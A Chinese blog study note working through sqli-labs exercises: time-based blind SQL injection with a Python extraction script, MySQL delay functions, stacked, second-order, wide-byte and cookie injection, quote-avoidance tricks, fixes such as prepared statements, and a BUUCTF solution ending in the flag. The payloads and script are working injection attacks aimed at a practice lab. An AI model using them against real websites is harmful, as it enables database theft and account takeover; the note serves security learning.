2022.8.6 SQL注入_杂七杂八

Sqli-lab Less9(时间注入)

我们首先发现一个特点:不管怎么输入,总是回显you are in...

接着就可以考虑时间注入,我们根据他有没有睡觉来判断我们的语句是否成立哦。

借用上节课用到的if函数,里面执行sleep睡觉函数

我们注入

1' and if(1+1=2,sleep(5),1)#

可以看到他确实是慢了很多,那么就说明我们注入的语句成立

image.png

好,我们把逻辑表达式改一下,根据他相应时间即可判断。

根据payload

1' and if(ascii(substr(database(),3,1))=99,sleep(1),1)#

这边可以写一个python脚本

id改成以下即可

import time
import socket
import requests
import requests.packages.urllib3.util.connection as urllib3_conn

# 强制使用ipv4
# requests库解析localhost时,会优先尝试ipv6,需要花费额外的2s时间,所以强制ipv4
urllib3_conn.allowed_gai_family = lambda: socket.AF_INET

session = requests.Session()


def getDatabase():
    results = []
    for i in range(1, 1000):
        print(f'{i}...')
        start = -1
        end = 255
        mid = -1
        while start < end:
            mid = (start + end) // 2
            url = "http://localhost/sqli-labs/Less-9/"
            params = {"id": f"6' and if(ascii(substr(database(),{i},1))>{mid},sleep(1),1)#"}
            ret = session.get(url, params=params)
            assert ret.status_code == 200, f'code: {ret.status_code}'
            assert '429 Too Many Requests' not in ret.text
            if ret.elapsed.total_seconds() >= 1:
                start = mid + 1
            else:
                end = mid
            time.sleep(0.05)
        if mid == -1:
            break
        results.append(chr(start))
        print(''.join(results))
    return ''.join(results)


begin = time.time()
getDatabase()
print(f'time spend: {time.time() - begin}')

sleep被ban了怎么办?补充:

补充:五种延时函数

  • SLEEP
mysql> select sleep(5);
+----------+
| sleep(5) |
+----------+
|        0 |
+----------+
1 row in set (5.00 sec)

BENCHMARK

mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
|                          0 |
+----------------------------+
1 row in set (2.79 sec)
mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
|                          0 |
+----------------------------+
1 row in set (2.79 sec)
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+------------+
| count(*)   |
+------------+
| 2651020120 |
+------------+
1 row in set (1 min 51.05 sec)

延时精确可控,利用环境有限,需要开两个session测试。

SESSION A

mysql> select get_lock('test',1);
+--------------------+
| get_lock('test',1) |
+--------------------+
|                  1 |
+--------------------+
1 row in set (0.00 sec)
SESSION B

mysql> select get_lock('test',5);
+--------------------+
| get_lock('test',5) |
+--------------------+
|                  0 |
+--------------------+
1 row in set (5.00 sec)
  • RLIKE

通过rpadrepeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。

mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
|                                                           0 |
+-------------------------------------------------------------+
1 row in set (5.27 sec)

Sqli-lab Less38(堆叠注入)

即用分号隔开,注入多个语句

select 1;select 2;

分成两次运行。

比如

3';insert into users(username,password) values ('ljy','123456')#

image.png

可以看到执行成功。

注:堆叠注入不是所有网站都可以注入的

image.png

Sqli-lab Less24(二次注入)

image.png

这边实验的是创建一个普通用户,修改admin用户的密码,比如微信没有采取任何保护措施的情况下,我微信注册了一个账号,利用这个账号修改了马化T的密码,那我就可以登录他的账号了

注册一个账号,成功后的效果如下,可以看到是两个用户,为什么是admin'# ? 后续是有用的。

image.png

登陆后提示输入当前密码,和修改后的密码

image.png

而我们输入这样,旧密码随便输,新密码输入aaa,重新看一下表。

看到真的admin用户的密码被修改了!

image.png

分析以下源码

	$username= $_SESSION["username"];
	$curr_pass= mysqli_real_escape_string($con1, $_POST['current_password']);
	$pass= mysqli_real_escape_string($con1, $_POST['password']);
	$re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);
	
	if($pass==$re_pass)
	{	
		$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
		$res = mysqli_query($con1, $sql) or die('You tried to be smart, Try harder!!!! :( ');
		$row = mysqli_affected_rows($con1);
		echo '<font size="3" color="#FFFF00">';
		echo '<center>';
		if($row==1)
		{
			echo "Password successfully updated";
	
		}
		else
		{
			header('Location: failed.php');
			//echo 'You tried to be smart, Try harder!!!! :( ';
		}
	}

可以看到,用户名是获取的SESSION

而实际运行的语句是:

UPDATE users SET PASSWORD=‘aaa’ where username=‘admin’#’ and password=‘45646546532’ 

注:如果username和密码一样都是mysqli_real_escape_string来传入的话,他会自动转义,那我们就用不了了。

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

Sqli-lab Less32(宽字节注入)

如果跟前面一样,引号自动转义后,那就会报错了

image.png

那有什么办法解决呢?这边一个思路是宽字节注入。

如果数据库使用GBK编码,%df%5c表示的是“連”(连)字,而%5c刚好是\的编码

我们尝试注入

image.png

引号前面自动加反斜杠转义后,那么就相当于在服务器上的是

1%df%5c'%20and%201%3d1%23

此时,我们看到没有回显了,表明注入成功

image.png

后面union注入,报错注入随便干就行。

但是遇到了一个问题

前面字符串里面有一个“連”字没问题,但是后面查询又要用到引号,那怎么办呢?sql语句肯定不能放中文字的

2221ss' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')#

补充:SQL查询语句中替换引号

  • 字符串转成16进制

image.png

payload将其替换成十六进制就可以去掉引号了。

2221ss' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)#

image.png

  • 函数嵌套

直接套用函数即可

    2221ss' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())#

Sqli-labs Less20 (Cookie注入)

o当 web 服务器向浏览器发送 web 页面后,在连接关闭后,服务端不会记录用户的信息。

oCookie 的作用就是用于解决 "如何记录客户端的用户信息"

我们登录后,他根据我们的cookie值来回显,我们cookie值里面也是可以注入的

image.png

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database() && table_name='emails')#

修复建议

1.过滤危险字符(waf)

oselect、and、or、#等等

2.SQL语句预编译

SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该sql语句的语法结构了,因为语法分析已经完成了

举例,

image.png

这边我就已经设定好id就只能是int类型,管你注入啥啥啥,最后都会变成一个数字,没用。

练习

buuctf: October 2019 Twice SQL Injection

很像less24的二次注入,但是尝试登录管理员这条路貌似还是不行

尝试在注册的用户名加东西

我们输入用户名

1' or 1=1#

出来了“Info十月太懒,没有简介”

我们一个个注入

-1' union select 1#

发现出来了1.

那么就可以开始了。

-1' union select (select group_concat(table_name) from information_schema.tables where table_schema=database())#
# flag,news,users

-1' union select (select group_concat(column_name) from information_schema.columns where table_name='flag')#
# flag ,这里太长貌似会注册不成功

-1' union select flag from flag#
# flag{bc102e63-624b-45da-aa5e-1fff89ea0d1d}
posted @ 2022-08-06 22:33  yuezi2048  阅读(19)  评论(0编辑  收藏  举报